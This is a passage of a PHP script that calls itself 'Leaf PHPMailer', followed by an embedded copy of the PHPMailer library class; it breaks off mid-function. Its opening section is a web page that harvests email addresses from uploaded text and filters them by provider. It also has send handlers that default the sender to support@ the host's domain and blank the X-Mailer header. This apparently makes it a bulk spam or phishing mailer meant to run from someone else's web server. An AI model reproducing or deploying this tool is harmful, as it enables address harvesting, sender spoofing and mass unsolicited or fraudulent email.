    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
